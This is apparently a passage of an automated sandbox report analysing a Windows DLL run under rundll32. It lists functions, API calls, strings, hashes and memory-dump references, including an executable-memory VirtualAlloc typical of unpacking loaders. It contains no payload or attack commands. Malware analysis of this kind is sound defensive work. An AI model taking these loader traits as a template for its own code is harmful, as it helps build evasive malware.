Instruction ID: 2646bf9e91c3133845c06cd6c197789325638f84cc78768b6151891e57c56674
Opcode Fuzzy Hash: c8988fedfeb4f71d91eb045983448d4aa9ffc6c8290f31dac0195f90df2b0053
Instruction Fuzzy Hash: D5019213C20E189DD607B979984164AA7BD5FE73E4B16C713E00637016FF9058E78291

Uniqueness

Uniqueness Score: -1.00%

Function 6E556B40, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 146COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6E556C1B
__aulldiv.LIBCMT ref: 6E556C2B

Strings

'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6E556B54
{invalid syntax}, xrefs: 6E556B84
_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool, xrefs: 6E556BAA, 6E556BE5

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "$_!f64f32usizeu128u64u32u16u8isizei128i64i32i16i8strcharbool${invalid syntax}
API String ID: 3839614884-2364648981
Opcode ID: 7be9dd716562cb998cccc261e5e7b46907a408ee1b0ce2ae3b97d2adc79a5547
Instruction ID: bc18ac2e682dc5ec7567be0ac7aa1203f591f3116f7fa345f3e75869c0916a42
Opcode Fuzzy Hash: 7be9dd716562cb998cccc261e5e7b46907a408ee1b0ce2ae3b97d2adc79a5547
Instruction Fuzzy Hash: E8417A317183504BD7249AA8D884B7AB7D5DFC4714F10883FEA898F3D1E6B5CC6187A2

Uniqueness

Uniqueness Score: -1.00%

Function 6E55D000, Relevance: 8.8, APIs: 7, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000001,6E55C746), ref: 6E55D00B
TlsGetValue.KERNEL32(00000000,00000001,6E55C746), ref: 6E55D023
TlsGetValue.KERNEL32(00000000), ref: 6E55D043
TlsGetValue.KERNEL32(00000000), ref: 6E55D063
GetProcessHeap.KERNEL32 ref: 6E55D076
HeapAlloc.KERNEL32(00E70000,00000000,0000000C), ref: 6E55D089
TlsSetValue.KERNEL32(00000000,00000000,00E70000,00000000,0000000C), ref: 6E55D0B6

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: Value$Heap$AllocProcess
String ID:
API String ID: 3559649508-0
Opcode ID: da6908175b48ea369eb15d08efcf27c597c72ed91f246238fe34b80accdf2fab
Instruction ID: 38139dbd543f000dd1504afa1225b5fdd2dfcb18060e4a69d2e77d73d10cce5b
Opcode Fuzzy Hash: da6908175b48ea369eb15d08efcf27c597c72ed91f246238fe34b80accdf2fab
Instruction Fuzzy Hash: 72112EB2600711CBEF506BF5C854B6B37D8AB82659F024C26DA05DB360FB35D8928F66

Uniqueness

Uniqueness Score: -1.00%

Function 6E573571, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Windows\SYSTEM32\loaddll32.exe, xrefs: 6E57358D

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID:
String ID: C:\Windows\SYSTEM32\loaddll32.exe
API String ID: 0-1872383224
Opcode ID: f9c81c2bbd4eab2726ab3f31d7cdbd1bc0166c3f1746fabfac24a17ba55e6090
Instruction ID: be8c7f4e4839bad034944977cea80a05b92434a04cbb7056439ccb8d8b1c51cb
Opcode Fuzzy Hash: f9c81c2bbd4eab2726ab3f31d7cdbd1bc0166c3f1746fabfac24a17ba55e6090
Instruction Fuzzy Hash: 5A218E71618205AFDF209FE6C85889A77FDEF81378B018928E9148B250DB30EC2087A0

Uniqueness

Uniqueness Score: -1.00%

Function 6E570422, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,6E5704E3,00000000,?,00000001,00000000,?,6E57055A,00000001,FlsFree,6E5A6184,FlsFree,00000000), ref: 6E5704B2

Strings

api-ms-, xrefs: 6E570472

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: cda5a36cafcf62dd4a7f7b068e66ad769eaea602333e8f5f7ba645cc73a8c7bd
Instruction ID: a07d698a4ffe6d0ab5116ade26e434cd9bd858be9c08835c804080fd78f9049f
Opcode Fuzzy Hash: cda5a36cafcf62dd4a7f7b068e66ad769eaea602333e8f5f7ba645cc73a8c7bd
Instruction Fuzzy Hash: 45112936A54631ABDF729AAC8C04B5D37E5AF02770F114522FD10EB280FB71EDA086D4

Uniqueness

Uniqueness Score: -1.00%

Function 6E5712ED, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,3A00C7D1,00000000,?,00000000,6E579B33,000000FF,?,6E57127D,?,?,6E571251,?), ref: 6E571322
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6E571334
FreeLibrary.KERNEL32(00000000,?,00000000,6E579B33,000000FF,?,6E57127D,?,?,6E571251,?), ref: 6E571356

Strings

mscoree.dll, xrefs: 6E57131B
CorExitProcess, xrefs: 6E57132C

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: eb1bc974b00d42f39b8f9337faac4365fddc3c4ed2413b89bf9b61c10e12efb3
Instruction ID: 50544ac637185fc99e33bfb23ece9dd719467c36208bcd2c7ff593482a4298e2
Opcode Fuzzy Hash: eb1bc974b00d42f39b8f9337faac4365fddc3c4ed2413b89bf9b61c10e12efb3
Instruction Fuzzy Hash: C301A232914969EFDF119B94CC14FBEBBF8FB04711F014529EC21A2681DF74D914CA90

Uniqueness

Uniqueness Score: -1.00%

Function 6E55C260, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6E55C265
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6E55C275

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6E55C26F
kernel32, xrefs: 6E55C260

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetSystemTimePreciseAsFileTime$kernel32
API String ID: 1646373207-392834919
Opcode ID: 90f8c020137bd4dc56c0c58e29b64684d7008cd7d240ec2927b72b52dd2a4872
Instruction ID: 740a153cde23d792deb3f37bb56ee1b3457d3a483236f5f6d1f94bacb7b13b14
Opcode Fuzzy Hash: 90f8c020137bd4dc56c0c58e29b64684d7008cd7d240ec2927b72b52dd2a4872
Instruction Fuzzy Hash: 2DB092B062051166EE606EF58A5CA6E39D8BA823453020C42A255DA203EE24C060A921

Uniqueness

Uniqueness Score: -1.00%

Function 6E55C2C0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6E55C2C5
GetProcAddress.KERNEL32(00000000,NtWaitForKeyedEvent), ref: 6E55C2D5

Strings

NtWaitForKeyedEvent, xrefs: 6E55C2CF
ntdll, xrefs: 6E55C2C0

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtWaitForKeyedEvent$ntdll
API String ID: 1646373207-2815205136
Opcode ID: f89129e86e88415040ddaf218e190c78c0eab76c2f00a088121cee4d6b9468d6
Instruction ID: a971ea70027bb4a67c72daaea510d45811a8630380e1d795a0e35a1a55b08361
Opcode Fuzzy Hash: f89129e86e88415040ddaf218e190c78c0eab76c2f00a088121cee4d6b9468d6
Instruction Fuzzy Hash: 1AB092B0A206116BEE906AF98A0CA7E3AA8AA812413420C42A25AD9203EE34C0209961

Uniqueness

Uniqueness Score: -1.00%

Function 6E55C2E0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6E55C2E5
GetProcAddress.KERNEL32(00000000,NtReleaseKeyedEvent), ref: 6E55C2F5

Strings

NtReleaseKeyedEvent, xrefs: 6E55C2EF
ntdll, xrefs: 6E55C2E0

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtReleaseKeyedEvent$ntdll
API String ID: 1646373207-31681898
Opcode ID: 4108b9d6bde468412fe8f7147d3981529834df9649d81c84ba83bd6170188be5
Instruction ID: 7684fa467e0b59184e9dea263839c8ac477f2de8bcea2ca6ec54c8af043dbff6
Opcode Fuzzy Hash: 4108b9d6bde468412fe8f7147d3981529834df9649d81c84ba83bd6170188be5
Instruction Fuzzy Hash: A1B092B0A3051266DE606EF58A0CA7E3998AA812013020C42A266E9203FE34C0209921

Uniqueness

Uniqueness Score: -1.00%

Function 6E55C280, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6E55C285
GetProcAddress.KERNEL32(00000000,SetThreadDescription), ref: 6E55C295

Strings

SetThreadDescription, xrefs: 6E55C28F
kernel32, xrefs: 6E55C280

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: SetThreadDescription$kernel32
API String ID: 1646373207-1950310818
Opcode ID: f533df8417bb1e821dd5fe8baf51170e41e982a9092694b9eb6ed2d108057428
Instruction ID: 50f982312ea632449b410655939178f6eb1c448da33149f092c2f37761e0df61
Opcode Fuzzy Hash: f533df8417bb1e821dd5fe8baf51170e41e982a9092694b9eb6ed2d108057428
Instruction Fuzzy Hash: 54B09B7056051157DD505EF5890C55D359466C13453010C416155DB103EE14C050A571

Uniqueness

Uniqueness Score: -1.00%

Function 6E55C300, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6E55C305
GetProcAddress.KERNEL32(00000000,NtCreateKeyedEvent), ref: 6E55C315

Strings

ntdll, xrefs: 6E55C300
NtCreateKeyedEvent, xrefs: 6E55C30F

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtCreateKeyedEvent$ntdll
API String ID: 1646373207-1373576770
Opcode ID: d6b4f045f379f543da06f052d74f552ae2f2a6ba053772dccc31fe6c63e16ccf
Instruction ID: c2eb2218987ae6795974702eb1f042fe8eb080fc5903f9ff243613b12d82c669
Opcode Fuzzy Hash: d6b4f045f379f543da06f052d74f552ae2f2a6ba053772dccc31fe6c63e16ccf
Instruction Fuzzy Hash: 9FB092B0A205116ADE50AAF58A0CA7E3998AA413827424842A222D9213EE34C4209921

Uniqueness

Uniqueness Score: -1.00%

Function 6E576749, Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(3A00C7D1,?,00000000,?), ref: 6E5767AC

Part of subcall function 6E574073: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6E5761E2,?,00000000,-00000008), ref: 6E57411F

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6E576A07
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6E576A4F
GetLastError.KERNEL32 ref: 6E576AF2

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 18873abc18ad9067202c961cd38f7f856c946c53df6e6038a29170caeffe7a07
Instruction ID: f48b99e9aef8b87f9d793ef8b5c1dbdebfbfd0d10f9cf6c0a356bd8ac820b95d
Opcode Fuzzy Hash: 18873abc18ad9067202c961cd38f7f856c946c53df6e6038a29170caeffe7a07
Instruction Fuzzy Hash: B6D156B5D10259DFCF11CFE8C8909EDBBF4EF49314F18852AE956AB241D770A852CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6E56F49F, Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6E56F566
___AdjustPointer.LIBCMT ref: 6E56F589
___AdjustPointer.LIBCMT ref: 6E56F625

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 47bb3da895fe72b4e941e3054011c9732f4e1c5b337514351fe7aca6ef706b87
Instruction ID: 42cf4727c3cff669a074459449a280c7db2a8cbacbeaae0a753e5b3f517a06ab
Opcode Fuzzy Hash: 47bb3da895fe72b4e941e3054011c9732f4e1c5b337514351fe7aca6ef706b87
Instruction Fuzzy Hash: 5551AF72A05606AFEB158F95D850BBA73E5FF55318F30492DEA15472B0EB31EC40CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E572D87, Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6E574073: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6E5761E2,?,00000000,-00000008), ref: 6E57411F

GetLastError.KERNEL32 ref: 6E572DEB
__dosmaperr.LIBCMT ref: 6E572DF2
GetLastError.KERNEL32(?,?,?,?), ref: 6E572E2C
__dosmaperr.LIBCMT ref: 6E572E33

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: cafa9aa5f87dd9799066a11eeef63f13baee0a33148a94dd9f705e140a8fb725
Instruction ID: 6ec35b761f10033276e0a1a482cba88f722ef4aaebef5f03bf4e01a1ae537ec8
Opcode Fuzzy Hash: cafa9aa5f87dd9799066a11eeef63f13baee0a33148a94dd9f705e140a8fb725
Instruction Fuzzy Hash: C021B3B5604215AF9F71DFE688948ABB7FDEF413A47008919FD1897150D730EC7187A0

Uniqueness

Uniqueness Score: -1.00%

Function 6E574161, Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6E574169

Part of subcall function 6E574073: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6E5761E2,?,00000000,-00000008), ref: 6E57411F

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6E5741A1
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6E5741C1

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 2ca47f11fdb0037976389f88046c951227559407561d3a5253afa4cff777033d
Instruction ID: 851330c4e805349538c8871fd58e2423482896a3c5a1506c989a1d7de0c7398b
Opcode Fuzzy Hash: 2ca47f11fdb0037976389f88046c951227559407561d3a5253afa4cff777033d
Instruction Fuzzy Hash: 0011A1E5915A267F6F2167F69C89CAF69ECDE962993014815F601D2100EF70CD2381B1

Uniqueness

Uniqueness Score: -1.00%

Function 6E577EA6, Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,6E577857,?,00000001,?,?,?,6E576B46,?,?,00000000), ref: 6E577EBD
GetLastError.KERNEL32(?,6E577857,?,00000001,?,?,?,6E576B46,?,?,00000000,?,?,?,6E5770CD,?), ref: 6E577EC9

Part of subcall function 6E577E8F: CloseHandle.KERNEL32(FFFFFFFE,6E577ED9,?,6E577857,?,00000001,?,?,?,6E576B46,?,?,00000000,?,?), ref: 6E577E9F

___initconout.LIBCMT ref: 6E577ED9

Part of subcall function 6E577E51: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6E577E80,6E577844,?,?,6E576B46,?,?,00000000,?), ref: 6E577E64

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,6E577857,?,00000001,?,?,?,6E576B46,?,?,00000000,?), ref: 6E577EEE

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: edf708b46c010846836e1da01831d86a4fb9eb4558e62768c92f387fd3927e87
Instruction ID: 5c9974bb74255988550d91d445de55eb8ec6135a4418c20c08b01719e7713136
Opcode Fuzzy Hash: edf708b46c010846836e1da01831d86a4fb9eb4558e62768c92f387fd3927e87
Instruction Fuzzy Hash: 36F0AC36500528FBCF621FE5DC04A9E7F66FB4A7A6B058810FE1895560CB32CC70DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E56FAA0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 6E56FAC5

Strings

RCC, xrefs: 6E56FADF
MOC, xrefs: 6E56FAD7

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 457fbd1cb3fa62e6a8ccb85dafdcd483fbc76f4259155f5a17bac058bcaa9757
Instruction ID: f2e0a3fc041c469089362a489158c1f45163c488ba7ac497bd8b095d1bcad9a9
Opcode Fuzzy Hash: 457fbd1cb3fa62e6a8ccb85dafdcd483fbc76f4259155f5a17bac058bcaa9757
Instruction Fuzzy Hash: 42412472D0020AAFDF06CF94C990AEE7BBABF48304F248499EA15A6270D7359951DB61

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 6920 Parent PID: 6880 rundll32.exeCOMMON

Execution Graph

Execution Coverage:	6.3%
Dynamic/Decrypted Code Coverage:	53.1%
Signature Coverage:	0%
Total number of Nodes:	484
Total number of Limit Nodes:	51

Executed Functions

Function 6E56C050, Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 394
filememoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(asd,00000000,00000000,00000000,00000000,00000000,00000000), ref: 6E56C225
GetLastError.KERNEL32 ref: 6E56C22B
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 6E56C247

Strings

asd, xrefs: 6E56C21C

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: AllocCreateErrorFileLastVirtual
String ID: asd
API String ID: 1112224254-4170839921
Opcode ID: a93061d47e19a393d3c4605eeba20cf300c5953ded2743c119c842e07579ef29
Instruction ID: f2275cb044c791049e5d780da9afcd63a0555b06d552b273e799312586a9479a
Opcode Fuzzy Hash: a93061d47e19a393d3c4605eeba20cf300c5953ded2743c119c842e07579ef29
Instruction Fuzzy Hash: 04E1B971A083068FCB50CF98C890B2AB7F1BF88714F15496DE9998F366D731E855CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6E56C8DB, Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6E56C922
___scrt_uninitialize_crt.LIBCMT ref: 6E56C93C

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

